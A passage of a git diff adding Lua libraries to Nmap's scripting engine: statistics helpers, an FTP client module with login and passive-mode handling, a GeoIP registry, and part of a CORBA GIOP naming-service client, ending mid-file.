+ local seq = {}
+ for i = 1, #bits - n, n do
+ seq[#seq + 1] = bits:sub(i, i + n - 1)
+ end
+
+ return seq
+end
+
+-- chi-square cdf table at 0.95 confidence for different degrees of freedom.
+-- >>> import scipy.stats, scipy.optimize
+-- >>> scipy.optimize.newton(lambda x: scipy.stats.chi2(dof).cdf(x) - 0.95, dof)
+local CHI2_CDF = {
+ [3] = 7.8147279032511738,
+ [15] = 24.99579013972863,
+ [255] = 293.2478350807001,
+}
+
+--- Checks whether a sample looks random
+--
+-- Because our sample is so small (only 16 bytes), do a chi-square
+-- goodness of fit test across groups of 2, 4, and 8 bits. If using only
+-- 8 bits, for example, any sample whose bytes are all different would
+-- pass the test. Using 2 bits will tend to catch things like pure
+-- ASCII, where one out of every four samples never has its high bit
+-- set.
+-- @param data The data to check
+-- @return True if the data appears to be random, false otherwise
+function looksRandom(data)
+ local x2
+
+
+ x2 = chi2(splitbits(data, 2), 4)
+ if x2 > CHI2_CDF[3] then
+ return false
+ end
+
+ x2 = chi2(splitbits(data, 4), 16)
+ if x2 > CHI2_CDF[15] then
+ return false
+ end
+
+ x2 = chi2({string.byte(data, 1, -1)}, 256)
+ if x2 > CHI2_CDF[255] then
+ return false
+ end
+
+ return true
+end
+
+--- Return the mean and sample standard deviation of an array, using the
+-- algorithm from Knuth Vol. 2, Section 4.2.2.
+--
+-- @params t An array-style table of values
+-- @return The mean of the values
+-- @return The standard deviation of the values
+function mean_stddev(t)
+ local i, m, s, sigma
+
+ if #t == 0 then
+ return nil, nil
+ elseif #t == 1 then
+ return t[1], 0
+ end
+
+ m = t[1]
+ s = 0
+ for i = 2, #t do
+ local mp = m
+ m = m + (t[i] - m) / i
+ s = s + (t[i] - mp) * (t[i] - m)
+ end
+ sigma = math.sqrt(s / (#t - 1))
+
+ return m, sigma
+end
+
+-- Partition function for quickselect and quicksort
+local function partition(t, left, right, pivot)
+ local pv = t[pivot]
+ t[pivot], t[right] = t[right], t[pivot]
+ local storeidx = left
+ for i=left, right-1 do
+ assert(storeidx < right)
+ if t[i] < pv then
+ t[storeidx], t[i] = t[i], t[storeidx]
+ storeidx = storeidx + 1
+ end
+ end
+ t[storeidx], t[right] = t[right], t[storeidx]
+ return storeidx
+end
+
+-- Quickselect algorithm
+local function _qselect(t, left, right, k)
+ if left == right then
+ return t[left]
+ end
+ local pivot = math.random(left, right)
+ pivot = partition(t, left, right, pivot)
+ if k == pivot then
+ return t[k]
+ elseif k < pivot then
+ return _qselect(t, left, pivot - 1, k)
+ else
+ return _qselect(t, pivot + 1, right, k)
+ end
+end
+
+--- Return the k-th largest element in a list
+--
+-- @param t The list, not sorted
+-- @param k The ordinal value to return
+-- @return The k-th largest element in the list
+function quickselect(t, k)
+ local tc = {}
+ -- Work on a copy of the table, since we modify in-place
+ table.move(t, 1, #t, 1, tc)
+ return _qselect(tc, 1, #tc, k)
+end
+
+--- Find the median of a list
+--
+--@param t the table/list of values
+--@return the median value
+function median(t)
+ return quickselect(t, math.ceil(#t/2))
+end
+
+if not unittest.testing() then
+ return _ENV
+end
+
+test_suite = unittest.TestSuite:new()
+
+local table_equal = unittest.table_equal
+test_suite:add_test(table_equal(splitbits("abc", 5), {"01100", "00101", "10001", "00110"}), 'splitbits("abc", 5)')
+return _ENV
diff --git a/nselib/ftp.lua b/nselib/ftp.lua
new file mode 100644
index 0000000..fc4d051
--- /dev/null
+++ b/nselib/ftp.lua
@@ -0,0 +1,307 @@
+---
+-- FTP functions.
+--
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+
+local comm = require "comm"
+local stdnse = require "stdnse"
+local string = require "string"
+local ipOps = require "ipOps"
+local nmap = require "nmap"
+_ENV = stdnse.module("ftp", stdnse.seeall)
+
+local ERROR_MESSAGES = {
+ ["EOF"] = "connection closed",
+ ["TIMEOUT"] = "connection timeout",
+ ["ERROR"] = "failed to receive data"
+}
+
+local crlf_pattern = "\r?\n"
+--- Connects to the FTP server based on the provided options and returns the parsed banner.
+--
+-- @param host The host table
+-- @param port The port table
+-- @param opts The connection option table, from comm.lua.
+-- @return socket The socket descriptor, or nil on errors
+-- @return code The numeric response code, as returned by read_reply, or error message if socket is nil.
+-- @return message The response message
+-- @return buffer The socket read buffer function, to be passed to read_reply.
+-- @see comm.lua
+connect = function(host, port, opts)
+ opts = opts or {}
+ opts.recv_before = true
+ local socket, err, proto, ret = comm.tryssl(host, port, '', opts)
+ if not socket then
+ return socket, (ERROR_MESSAGES[ret] or 'unspecified error')
+ end
+ local buffer = stdnse.make_buffer(socket, crlf_pattern)
+ local pos = 1
+ -- Should we just pass the output of buffer()?
+ local usebuf = false
+ -- Since we already read the first chunk of banner from the socket,
+ -- we have to supply it line-by-line to read_reply.
+ local code, message = read_reply(function()
+ if usebuf then
+ -- done reading the initial banner; pass along the socket buffer.
+ return buffer()
+ end
+ -- Look for CRLF
+ local i, j = ret:find(crlf_pattern, pos)
+ if not i then
+ -- Didn't find it! Grab another chunk (up to CRLF) and return it
+ usebuf = true
+ local chunk = buffer()
+ return ret:sub(pos) .. chunk
+ end
+ local oldpos = pos
+ -- start the next search just after CRLF
+ pos = j + 1
+ if pos >= #ret then
+ -- We consumed the whole thing! Start calling buffer() next.
+ usebuf = true
+ end
+ return ret:sub(oldpos, i - 1)
+ end)
+ return socket, code, message, buffer
+end
+
+---
+-- Read an FTP reply and return the numeric code and the message. See RFC 959,
+-- section 4.2.
+-- @param buffer The buffer returned by ftp.connect or created with
+-- <code>stdnse.make_buffer(socket, "\r?\n")</code>.
+-- @return numeric code or <code>nil</code>.
+-- @return text reply or error message.
+function read_reply(buffer)
+ local readline
+ local line, err
+ local code, message
+ local _, p, tmp
+
+ line, err = buffer()
+ if not line then
+ return line, err
+ end
+
+ -- Single-line response?
+ code, message = string.match(line, "^(%d%d%d) (.*)$")
+ if code then
+ return tonumber(code), message
+ end
+
+ -- Multi-line response?
+ _, p, code, message = string.find(line, "^(%d%d%d)%-(.*)$")
+ if p then
+ while true do
+ line, err = buffer()
+ if not line then
+ return line, err
+ end
+ tmp = string.match(line, "^%d%d%d (.*)$")
+ if tmp then
+ message = message .. "\n" .. tmp
+ break
+ end
+ message = message .. "\n" .. line
+ end
+
+ return tonumber(code), message
+ end
+
+ return nil, string.format("Unparseable response: %q", line)
+end
+
+--- Close an FTP command connection
+--
+-- @param socket The socket with the live connection
+function close(socket)
+ socket:send("QUIT\r\n")
+ socket:close()
+end
+
+--- Issue a STARTTLS command.
+--
+-- @param socket The connected command socket
+-- @param buffer The socket read buffer
+-- @return Boolean true if AUTH TLS succeeded, false otherwise
+-- @return error string on failure
+function starttls(socket, buffer)
+ -- Send AUTH TLS command, ask the service to start encryption
+ local status, err = socket:send("AUTH TLS\r\n")
+ if not status then
+ return nil, err
+ end
+ local code, result = read_reply(buffer)
+ return code == 234, result
+end
+
+local function is_ssl(socket)
+ return pcall(socket.get_ssl_certificate, socket)
+end
+
+-- Should we try STARTTLS based on this error?
+local function should_try_ssl(code, message)
+ return code and code >= 400 and (
+ message:match('[Ss][Ss][Ll]') or
+ message:match('[Tt][Ll][Ss]') or
+ message:match('[Ss][Ee][Cc][Uu][Rr]')
+ )
+end
+
+-- Try to reconnect over STARTTLS.
+local function reconnect_ssl(socket, buffer)
+ local status, err = starttls(socket, buffer)
+ if status then
+ status, err = socket:reconnect_ssl()
+ if status then
+ return true
+ end
+ end
+ return nil, err
+end
+
+--- Authenticate with username and password
+--
+-- May negotiate AUTH TLS if required
+-- @param socket The connected command socket
+-- @param buffer The socket read buffer
+-- @param username The username to send
+-- @param password The password to send
+-- @param acct (optional) If the server requires it, send this account name. Default: username
+-- @return Boolean true if auth succeeded, false otherwise
+-- @return FTP response code
+-- @return FTP response message
+function auth(socket, buffer, username, password, acct)
+ local already_ssl = is_ssl(socket)
+ ::TRY_AGAIN::
+ local status, err = socket:send(("USER %s\r\n"):format(username))
+ if not status then
+ return nil, err
+ end
+ local code, message = read_reply(buffer)
+ if code == 331 then
+ -- 331: User name okay, need password.
+ status, err =socket:send(("PASS %s\r\n"):format(password))
+ if not status then
+ return nil, err
+ end
+ code, message = read_reply(buffer)
+ elseif not already_ssl and should_try_ssl(code, message) then
+ if not reconnect_ssl(socket, buffer) then
+ return nil
+ end
+ already_ssl = true
+ goto TRY_AGAIN
+ end
+
+ if code == 332 then
+ -- 332: Need account for login.
+ -- This is rarely seen but may come in response to a
+ -- USER or PASS command.
+ status, err = socket:send("ACCT %s\r\n"):format(acct or username)
+ if not status then
+ return nil, err
+ end
+ code, message = read_reply(buffer)
+ if code == 331 then
+ -- 331: User name okay, need password.
+ status, err = socket:send("PASS %s\r\n"):format(password)
+ if not status then
+ return nil, err
+ end
+ code, message = read_reply(buffer)
+ elseif not already_ssl and should_try_ssl(code, message) then
+ if not reconnect_ssl(socket, buffer) then
+ return nil
+ end
+ already_ssl = true
+ goto TRY_AGAIN
+ end
+ end
+
+ if code and code >= 200 and code < 300 then
+ -- We are primarily looking for 230: User logged in, proceed.
+ return true, code, message
+ else
+ if code and not already_ssl and should_try_ssl(code, message) then
+ if not reconnect_ssl(socket, buffer) then
+ return nil
+ end
+ already_ssl = true
+ goto TRY_AGAIN
+ end
+ return nil, code, message
+ end
+end
+
+--- Start PASV mode
+--
+-- For IPv6 connections, attempts to use EPSV (RFC 2428). If the server sends an address that is not the target address, then this is an error.
+-- @param socket The connected command socket
+-- @param buffer The receive buffer
+-- @return The connected data socket, or nil on error
+-- @return Error message if data socket is nil
+function pasv(socket, buffer)
+ local epsv = false
+ local status, lhost, lport, rhost, rport = socket:get_info()
+ if not status then
+ return nil, ("Can't determine remote host IP: %s"):format(lhost)
+ end
+ epsv = #ipOps.ip_to_str(rhost) > 4
+
+ ::TRY_AGAIN::
+ local cmd = epsv and "EPSV" or "PASV"
+ -- ask the server for a Passive Mode: it should give us a port to
+ -- listen to, where it will dump the directory listing
+ local status, err = socket:send(cmd .. "\r\n")
+ if not status then
+ return status, err
+ end
+ local code, message = read_reply(buffer)
+
+ local pasv_port
+ if epsv then
+ if not code then
+ return nil, ("EPSV failed: socket %s"):format(message)
+ elseif code ~= 229 then
+ stdnse.debug2("Falling back to PASV. EPSV: %d %s", code, message)
+ epsv = false
+ goto TRY_AGAIN
+ end
+ status, pasv_port = string.match(message, "%((.)%1%1(%d+)%1%)")
+ if not status then
+ stdnse.debug2("Can't parse EPSV response: %s", message)
+ epsv = false
+ goto TRY_AGAIN
+ end
+ else
+ if not code or code >= 300 then
+ return nil, ("PASV failed: %s %s"):format(code or "socket", message)
+ end
+ -- Compute the PASV port as given by the server
+ -- The server should answer with something like
+ -- 2xx Entering Passive Mode (a,b,c,d,hp,lp)
+ -- (-- IP--,PORT)
+ -- PORT is (hp x 256) + lp
+ local ip, high, low = string.match(message, "%((%d+,%d+,%d+,%d+),(%d+),(%d+)%)")
+ if not ip then
+ return nil, string.format("Can't parse PASV response: %q", message)
+ end
+ ip = ip:gsub(",", ".")
+ if not (ipOps.compare_ip(ip, "eq", rhost) or ipOps.compare_ip(ip, "eq", "0.0.0.0")) then
+ return nil, ("PASV IP %s is not the same as %s"):format(ip, rhost)
+ end
+
+ pasv_port = high * 256 + low
+ end
+
+ local list_socket = nmap.new_socket()
+ status, err = list_socket:connect(rhost, pasv_port, "tcp")
+ if not status then
+ return status, err
+ end
+
+ return list_socket
+end
+
+return _ENV;
diff --git a/nselib/geoip.lua b/nselib/geoip.lua
new file mode 100644
index 0000000..d8e9c1c
--- /dev/null
+++ b/nselib/geoip.lua
@@ -0,0 +1,138 @@
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local table = require "table"
+local coroutine = require "coroutine"
+
+_ENV = stdnse.module("geoip", stdnse.seeall)
+
+---
+-- Consolidation of GeoIP functions.
+--
+-- @author "Mak Kolybabi <mak@kolybabi.com>"
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+
+--- Add a geolocation to the registry
+-- @param ip The IP that was geolocated
+-- @param lat The latitude in degrees
+-- @param lon The longitude in degrees
+add = function(ip, lat, lon)
+ local lat_n = tonumber(lat)
+ if not lat_n or lat_n < -90 or lat_n > 90 then
+ stdnse.debug1("Invalid latitude for %s: %s.", ip, lat)
+ return
+ end
+
+ local lon_n = tonumber(lon)
+ if not lat_n or lon_n < -180 or lon_n > 180 then
+ stdnse.debug1("Invalid longitude for %s: %s.", ip, lon)
+ return
+ end
+
+ if not nmap.registry.geoip then
+ nmap.registry.geoip = {}
+ end
+
+ nmap.registry.geoip[ip] = {
+ latitude = lat,
+ longitude = lon
+ }
+end
+
+--- Check if any coordinates have been stored in the registry
+--@return True if any coordinates have been returned, false otherwise
+empty = function()
+ return not nmap.registry.geoip
+end
+
+--- Retrieve the table of coordinates by IP
+--@return A table of coordinates keyed by IP.
+get_all_by_ip = function()
+ if empty() then
+ return nil
+ end
+
+ return nmap.registry.geoip
+end
+
+--- Retrieve a table of IPs by coordinate
+--@return A table of IPs keyed by coordinate in <code>lat,lon</code> format
+get_all_by_gps = function()
+ if empty() then
+ return nil
+ end
+
+ local t = {}
+ for ip, coords in pairs(get_all_by_ip()) do
+ local key = coords["latitude"] .. "," .. coords["longitude"]
+ if not t[key] then
+ t[key] = {}
+ end
+ table.insert(t[key], ip)
+ end
+
+ return t
+end
+
+-- Order in which field names will be shown in XML
+local field_order = {
+ "latitude",
+ "longitude",
+ "city",
+ "region",
+ "country"
+}
+
+--- Location object
+--
+-- The object supports setting the following fields using functions like
+-- <code>set_fieldname</code>:
+-- * latitude
+-- * longitude
+-- * city
+-- * region
+-- * country
+--
+-- The location object is suitable for returning from a script, and will
+-- produce appropriate string and structured XML output.
+Location = {
+ new = function(self,o)
+ o = o or {}
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Ensure fields are put in the XML in proper order
+ __pairs = function(self)
+ local function iterator ()
+ for i, key in ipairs(field_order) do
+ coroutine.yield(key, self[key])
+ end
+ end
+ return coroutine.wrap(iterator)
+ end,
+
+ __tostring = function(self)
+ local out = {
+ ("coordinates: %s, %s"):format(self.latitude, self.longitude)
+ }
+ -- if any of these are nil, it doesn't increase #place
+ local place = {self.city}
+ place[#place+1] = self.region
+ place[#place+1] = self.country
+ if #place > 0 then
+ out[#out+1] = ("location: %s"):format(table.concat(place, ", "))
+ end
+
+ return table.concat(out, "\n")
+ end,
+}
+
+-- Generate setter functions
+for _, field in ipairs(field_order) do
+ Location["set_" .. field] = function(self, value)
+ self[field] = value
+ end
+end
+
+return _ENV;
diff --git a/nselib/giop.lua b/nselib/giop.lua
new file mode 100644
index 0000000..877f691
--- /dev/null
+++ b/nselib/giop.lua
@@ -0,0 +1,633 @@
+---
+-- GIOP Library supporting a very limited subset of operations
+--
+-- Summary
+-- -------
+-- The library currently provides functionality to connect and query the
+-- CORBA naming service for a list of available objects.
+--
+--
+-- Overview
+-- --------
+-- The library contains the following classes:
+--
+-- o Packet.*
+-- - The Packet classes contain specific packets and function to serialize
+-- them to strings that can be sent over the wire. Each class may also
+-- contain a function to parse the servers response.
+--
+-- o Comm
+-- - Implements a number of functions to handle communication over the
+-- the socket.
+--
+-- o Helper
+-- - A helper class that provides easy access to the rest of the library
+--
+--
+-- Example
+-- -------
+-- The following sample code illustrates how scripts can use the Helper class
+-- to interface the library:
+--
+-- <code>
+-- helper = giop.Helper:new(host, port)
+-- status, err = helper:Connect()
+-- status, ctx = helper:GetNamingContext()
+-- status, objs = helper:ListObjects(ctx)
+-- </code>
+--
+-- Additional information
+-- ----------------------
+-- The implementation is based on packet dumps and the decoding Wireshark
+-- provides.
+--
+-- This implementation is tested and known to work against:
+-- x Sun's JAVA orbd
+--
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+-- @author Patrik Karlsson <patrik@cqure.net>
+--
+
+--
+-- Version 0.1
+-- Created 08/07/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+--
+
+local match = require "match"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+_ENV = stdnse.module("giop", stdnse.seeall)
+
+-- A bunch of constants
+Constants = {
+
+ SyncScope = {
+ WITH_TARGET = 3,
+ },
+
+ ServiceContext = {
+ CODESETS = 1,
+ SENDING_CONTEXT_RUNTIME = 6,
+ NEO_FIRST_SERVICE_CONTEXT = 1313165056,
+ },
+
+ ReplyStatus = {
+ SYSTEM_EXCEPTION = 2,
+ },
+
+ VERSION_1_0 = 1,
+ VERSION_1_2 = 0x0201,
+
+ NAMESERVICE = "NameService\0",
+}
+
+
+Packet = {}
+
+Packet.GIOP = {
+
+ magic = "GIOP",
+ version = 0x0001,
+ byte_order = 0,
+
+ --- Creates a Packet.GIOP
+ --
+ -- @param msgtype number containing the message type
+ -- @param data string containing the message data
+ -- @return obj a new Packet.GIOP instance
+ new = function( self, msgtype, data )
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.type = msgtype
+ o.data = data
+ o.size = data and #data or 0
+ return o
+ end,
+
+ --- Converts the class to a string suitable to send over the socket
+ --
+ -- @return string containing the instance data
+ __tostring = function( self )
+ return self.magic .. string.pack("<I2BB>I4", self.version, self.byte_order, self.type, self.size) .. self.data
+ end,
+
+ --- Sets the packet version
+ --
+ -- @param version number containing the version to use
+ setVersion = function( self, version ) self.version = version end,
+
+ --- Receives the packet over the socket
+ --
+ -- @param socket containing the already connected socket
+ -- @return status true on success, false on failure
+ -- @return err containing the error message if status is false
+ recv = function( self, socket )
+ local status, data = socket:receive_buf(match.numbytes(12), true)
+ local pos
+
+ if ( not(status) ) then return false, "Failed to read Packet.GIOP" end
+
+ self.magic, self.version, self.byte_order,
+ self.type, pos = string.unpack("<c4I2BB", data )
+
+ self.size, pos = string.unpack( ( self.byte_order == 0 and ">" or "<") .. "I4", data, pos )
+
+ status, data = socket:receive_buf(match.numbytes(self.size), true)
+ if ( not(status) ) then return false, "Failed to read Packet.GIOP" end
+
+ self.data = data
+ return true
+ end,
+}
+
+ServiceContext = {
+
+ --- Creates a ServiceContext
+ --
+ -- @param id number containing the context id
+ -- @param data the service context data
+ -- @param pad [optional] number used to pad after the service context
+ -- @return obj a new ServiceContext instance
+ new = function( self, id, data, pad )
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.id = id
+ o.data = data or ""
+ o.pad = pad
+ return o
+ end,
+
+ --- Converts the class to a string suitable to send over the socket
+ --
+ -- @return string containing the instance data
+ __tostring = function( self )
+ if ( self.pad ) then
+ return string.pack(">I4s4I2", self.id, self.data, self.pad)
+ else
+ return string.pack(">I4s4", self.id, self.data)
+ end
+ end,
+}
+
+--- Creates a SendingContextRuntime
+SendingContextRuntime =
+{
+ --- Creates a SendingContextRuntime
+ --
+ -- @param lhost string containing the source ip address
+ -- @return obj a new SendingContextRuntime instance
+ new = function(self, lhost )
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ lhost = lhost .. "\0"
+ o.data = stdnse.fromhex(
+ [[
+ 000000000000002849444c3a6f6d672e6f72672f53656e64696e67436f6e746
+ 578742f436f6465426173653a312e300000000001000000000000006e000102
+ 00
+ ]])
+ .. string.pack(">s4", lhost)
+ .. stdnse.fromhex(
+ [[
+ 00ec5100000019afabcb000000000249765d6900000008000000000000000014
+ 0000000000000200000001000000200000000000010001000000020501000100
+ 01002000010109000000010001010000000026000000020002
+ ]] )
+ return o
+ end,
+
+ --- Converts the class to a string suitable to send over the socket
+ --
+ -- @return string containing the instance data
+ __tostring = function( self ) return self.data end,
+}
+
+Packet.GIOP.reply = {
+
+ --- Creates a new Packet.GIOP.reply instance
+ --
+ -- @return obj a new Packet.GIOP.get instance
+ new = function( self )
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ self.sc = {}
+ self.GIOP = Packet.GIOP:new()
+ return o
+ end,
+
+ --- Receives a Packet.GIOP.reply from the socket
+ --
+ -- @param socket already connected to the server
+ -- @return status true on success, false on failure
+ -- @return err error message if status is false
+ recv = function( self, socket )
+ local status, err = self.GIOP:recv( socket )
+ local pos, tmp
+ local bo = ( self.GIOP.byte_order == 0 and ">" or "<")
+
+ if( not(status) ) then return false, err end
+
+ if ( self.GIOP.version == Constants.VERSION_1_2 ) then
+ self.request_id, self.reply_status, pos = string.unpack(bo .. "I4I4", self.GIOP.data, pos )
+ tmp, pos = string.unpack( bo .. "I4", self.GIOP.data, pos )
+ elseif ( self.GIOP.version == Constants.VERSION_1_0 ) then
+ tmp, pos = string.unpack( bo .. "I4", self.GIOP.data )
+ else
+ local err = ("Unknown GIOP version: %s"):format(self.GIOP.version)
+ stdnse.debug2("recv: %s", err)
+ return false, err
+ end
+
+ for i=1, tmp do
+ local ctx_id, ctx_data
+ ctx_id, ctx_data, pos = string.unpack( bo .. "I4s4", self.GIOP.data, pos )
+ if ( i ~= tmp ) then pos = pos + 2 end
+ table.insert( self.sc, ServiceContext:new( ctx_id, ctx_data ) )
+ end
+
+ if ( self.GIOP.version == Constants.VERSION_1_0 ) then
+ self.request_id, self.reply_status, self.stub_data, pos = string.unpack( bo .. "I4I4c" .. ( #self.GIOP.data - pos - 8 ), self.GIOP.data, pos )
+ elseif ( pos < #self.GIOP.data ) then
+ -- TODO: Is this off-by-one? Unpacks (#data - pos) bytes, but there are (#data - pos + 1) bytes available.
+ -- If so, can replace with: self.data = self.GIOP.data:sub(pos)
+ self.data, pos = string.unpack("c" .. (#self.GIOP.data - pos), self.GIOP.data, pos )
+ end
+
+ return true
+ end,
+
+}
+
+Packet.GIOP.get = {
+
+ resp_expected = 1,
+ key_length = 4,
+ princ_len = 0,
+
+ --- Creates a new Packet.GIOP._is_a instance
+ --
+ -- @param id the packet identifier
+ -- @param key number containing the object key
+ -- @param data string containing the stub data
+ -- @return obj a new Packet.GIOP.get instance
+ new = function( self, id, key, data )
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.op = "get\0"
+ o.id = id
+ o.key = key
+ o.data = data
+ o.sc = {}
+ return o
+ end,
+
+ --- Creates and adds a service context to the packet
+ --
+ -- @param id number containing the context id
+ -- @param data the service context data
+ -- @param pad [optional] number used to pad after the service context
+ addServiceContext = function( self, id, data, pad ) table.insert( self.sc, ServiceContext:new(id, data, pad) ) end,
+
+ --- Converts the class to a string suitable to send over the socket
+ --
+ -- @return string containing the packet data
+ __tostring = function( self )
+ local data = { string.pack(">I4", #self.sc) }
+
+ for i=1, #self.sc do
+ data[#data+1] = tostring( self.sc[i])
+ end
+
+ data[#data+1] = string.pack( ">I4BxxxI4I4s4I4", self.id, self.resp_expected,
+ self.key_length, self.key, self.op, self.princ_len)
+ data[#data+1] = self.data
+
+ return tostring( Packet.GIOP:new( 0, table.concat(data) ) )
+ end,
+
+}
+
+Packet.GIOP._is_a =
+{
+
+ --- Creates a new Packet.GIOP._is_a instance
+ --
+ -- @param id the packet identifier
+ -- @param flags [optional]
+ -- @param keyaddr string containing the keyaddr data
+ -- @return obj a new Packet.GIOP._is_a instance
+ new = function( self, id, flags, key_addr )
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.op = "_is_a\0"
+ o.id = id
+ o.target_addr = 0 -- KeyAddr
+ o.key_addr = key_addr
+ o.flags = flags or Constants.SyncScope.WITH_TARGET -- SyncScope WITH_TARGET
+ o.sc = {}
+ return o
+ end,
+
+ --- Creates and adds a service context to the packet
+ --
+ -- @param id number containing the context id
+ -- @param data the service context data
+ -- @param pad [optional] number used to pad after the service context
+ addServiceContext = function( self, id, data, pad ) table.insert( self.sc, ServiceContext:new(id, data, pad) ) end,
+
+ --- Converts the class to a string suitable to send over the socket
+ --
+ -- @return string containing the packet data
+ __tostring = function( self )
+ local TYPE_ID = "IDL:omg.org/CosNaming/NamingContextExt:1.0\0"
+ local UNKNOWN, UNKNOWN2, UNKNOWN3 = 2, 1, 0
+ local data = {
+ string.pack(">I4BxxxI2I2s4s4I2I4", self.id, self.flags, self.target_addr,
+ UNKNOWN, self.key_addr, self.op, UNKNOWN2, #self.sc )
+ }
+
+ for i=1, #self.sc do
+ data[#data+1] = tostring( self.sc[i])
+ end
+
+ data[#data+1] = string.pack(">s4", TYPE_ID)
+
+ local packet = Packet.GIOP:new( 0, table.concat(data))
+ packet:setVersion( Constants.VERSION_1_2 )
+
+ return tostring( packet )
+ end,
+
+}
+
+Packet.GIOP.list =
+{
+ --- Creates a new Packet.GIOP.list instance
+ --
+ -- @param id the packet identifier
+ -- @param flags [optional]
+ -- @param keyaddr string containing the keyaddr data
+ -- @param how_many string containing the value to retrieve
+ -- @return obj a new Packet.GIOP.list instance
+ new = function( self, id, flags, keyaddr, how_many )
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.op = "list\0"
+ o.id = id
+ o.flags = flags or Constants.SyncScope.WITH_TARGET
+ o.target_addr = 0 -- KeyAddr
+ o.key_addr = keyaddr
+ o.how_many = how_many or 1000
+ o.sc = {}
+ return o
+ end,
+
+ --- Creates and adds a service context to the packet
+ --
+ -- @param id number containing the context id
+ -- @param data the service context data
+ -- @param pad [optional] number used to pad after the service context
+ addServiceContext = function( self, id, data, pad ) table.insert( self.sc, ServiceContext:new(id, data, pad) ) end,
+
+ --- Converts the class to a string suitable to send over the socket
+ --
+ -- @return string containing the packet data
+ __tostring = function( self )
+ local UNKNOWN, UNKNOWN2, UNKNOWN3 = 2, 1, 6
+
+ local data = {
+ string.pack(">I4BxxxI2I2s4s4xxBI4", self.id, self.flags,
+ self.target_addr, UNKNOWN, self.key_addr,
+ self.op, UNKNOWN2, #self.sc )
+ }
+
+ for i=1, #self.sc do
+ data[#data+1] = tostring( self.sc[i])
+ end
+
+ data[#data+1] = string.pack(">I4I4", UNKNOWN3, self.how_many )
+ local packet = Packet.GIOP:new( 0, table.concat(data))
+ packet:setVersion( Constants.VERSION_1_2 )
+
+ return tostring( packet )
+ end,
+
+}
+
+-- Static class containing various message decoders
+MessageDecoder = {
+
+ --- Decodes a get response
+ --
+ -- @param packet the GIOP packet as received by the comm
+ -- <code>exchGIOPPacket</code> function
+ -- @return status true on success, false on failure
+ -- @return table containing <code>ip</code> and <code>ctx</code>
+ ["get"] = function( packet )
+ local bo = ( packet.GIOP.byte_order == 0 and ">" or "<")
+ local len, pos = string.unpack(bo .. "I4", packet.stub_data)
+ local ip, ctx
+
+ pos = pos + len + 16
+
+ ip, pos = string.unpack(bo .. "s4", packet.stub_data, pos)
+
+ pos = pos + 3
+ ctx, pos = string.unpack(bo .. "s4", packet.stub_data, pos)
+
+ return true, { ip = ip, ctx = ctx}
+ end,
+
+ --- Decodes a _is_a response (not implemented)
+ --
+ -- @param packet the GIOP packet as received by the comm
+ -- <code>exchGIOPPacket</code> function
+ -- @return status, always true
+ ["_is_a"] = function( packet )
+ return true
+ end,
+
+ --- Decodes a list response
+ --
+ -- @param packet the GIOP packet as received by the comm
+ -- <code>exchGIOPPacket</code> function
+ -- @return status true on success, false on failure
+ -- @return table containing <code>id</code>, <code>kind</code> and
+ -- <code>enum</code> or error message if status is false
+ ["list"] = function( packet )
+ local bo = ( packet.GIOP.byte_order == 0 and ">" or "<")
+ local seq_len, pos = string.unpack( bo .. "I4", packet.data, 7)
+ local objs = {}
+
+ for i=1, seq_len do
+ local seq_len_of_bind_name
+ local len, name
+ local obj = {}
+
+ seq_len_of_bind_name, pos = string.unpack( bo .. "I4", packet.data, pos)
+ if ( seq_len_of_bind_name ~= 1 ) then return false, "Sequence length of Binding_binding_name was greater than 1" end
+
+ len, pos = string.unpack( bo .. "I4", packet.data, pos )
+ obj.id, pos = string.unpack( "c" .. len - 1, packet.data, pos )
+
+ -- Account for terminating zero
+ pos = pos + 1
+
+ -- Account for undecoded data
+ pos = pos + ( ( len % 4 > 0 ) and ( 4 - ( len % 4 ) ) or 0 )
+ pos = pos + 3
+
+ obj.kind, pos = string.unpack("B", packet.data, pos)
+
+ -- Account for undecoded data
+ pos = pos + 4
+ obj.enum, pos = string.unpack( bo .. "I4", packet.data, pos )
+ table.insert( objs, obj )
+ end
+
+ return true, objs
+ end,
+
+}
+
+Comm = {
+
+ --- Creates a new Comm instance
+ --
+ -- @param socket containing a buffered socket connected to the server
+ -- @return a new Comm instance
+ new = function(self, socket)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.socket = socket
+ return o
+ end,
+
+ --- Sends and receives a GIOP packet
+ --
+ -- @param packet containing a Packet.* object, the object must
+ -- implement the __tostring meta method
+ -- @return status true on success, false on failure
+ -- @return data decoder specific data, see the corresponding
+ -- MessageDecoder for more information.
+ exchGIOPPacket = function( self, packet )
+ local status, err = self.socket:send( tostring(packet) )
+ local op = packet.op:sub(1, -2)
+ local data
+
+ if( not(status) ) then return false, err end
+ packet = Packet.GIOP.reply:new()
+
+ status, err = packet:recv( self.socket )
+ if( not(status) ) then return false, err end
+
+ if ( MessageDecoder[op] ) then
+ status, data = MessageDecoder[op]( packet )
+ else
+ return false, ("No message decoder for op (%s)"):format(op)
+ end
+
+ return status, data
+ end,
+
+}
+
+
+Helper = {
+
+ new = function(self, host, port )
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.host = host
+ o.port = port
+ o.socket = nmap.new_socket()
+ return o
+ end,
+
+ GetNamingContext = function( self )
+ local packet = Packet.GIOP.get:new( 5, 0x494e4954, string.pack(">s4", Constants.NAMESERVICE) )
+ local status, ctx, lhost, pos, len, bo, tmp
+
+ packet:addServiceContext( 17, "\0\x02", 0)
+ packet:addServiceContext( Constants.ServiceContext.NEO_FIRST_SERVICE_CONTEXT, "\0\x14", 0)
+ packet:addServiceContext( Constants.ServiceContext.SENDING_CONTEXT_RUNTIME, tostring(SendingContextRuntime:new( self.lhost )), 0 )
+
+ status, packet = self.comm:exchGIOPPacket( packet )
